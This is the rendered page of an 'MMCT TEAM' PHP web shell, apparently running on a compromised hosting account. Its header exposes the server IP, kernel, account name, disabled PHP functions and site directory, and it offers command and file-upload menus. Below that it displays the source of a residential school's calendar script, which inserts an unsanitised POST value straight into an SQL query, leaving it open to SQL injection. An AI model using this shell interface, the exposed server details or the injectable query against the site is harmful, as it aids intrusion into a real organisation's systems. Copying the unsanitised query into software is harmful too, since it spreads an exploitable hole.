MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/get_annual_calender.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Eklavya Model Residential School - Get Annual Calender</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include('admin/config.php');
$month=$_POST['month'];
$year=date('Y');
// echo $month;

$q = "SELECT * FROM annual_calender WHERE month='$month' AND year='$year'";
$query = mysqli_query($conn,$q);
$i=1;
if (mysqli_num_rows($query)>0) {
	
while($res = mysqli_fetch_array($query)) { 

	echo "<tr><td>".$i++."</td>
	<td>".$res['date']."</td>
	<td>".$res['activity']."</td>
	<td>".$res['participant']."</td>
	<td>".$res['activity_charge']."</td>
	<tr>"; 
}
}else{
	echo "<tr>
	<td colspan='5' style='text-align:center;'>No Data Available</td>
	
	<tr>"; 
}
?>

MMCT - 2023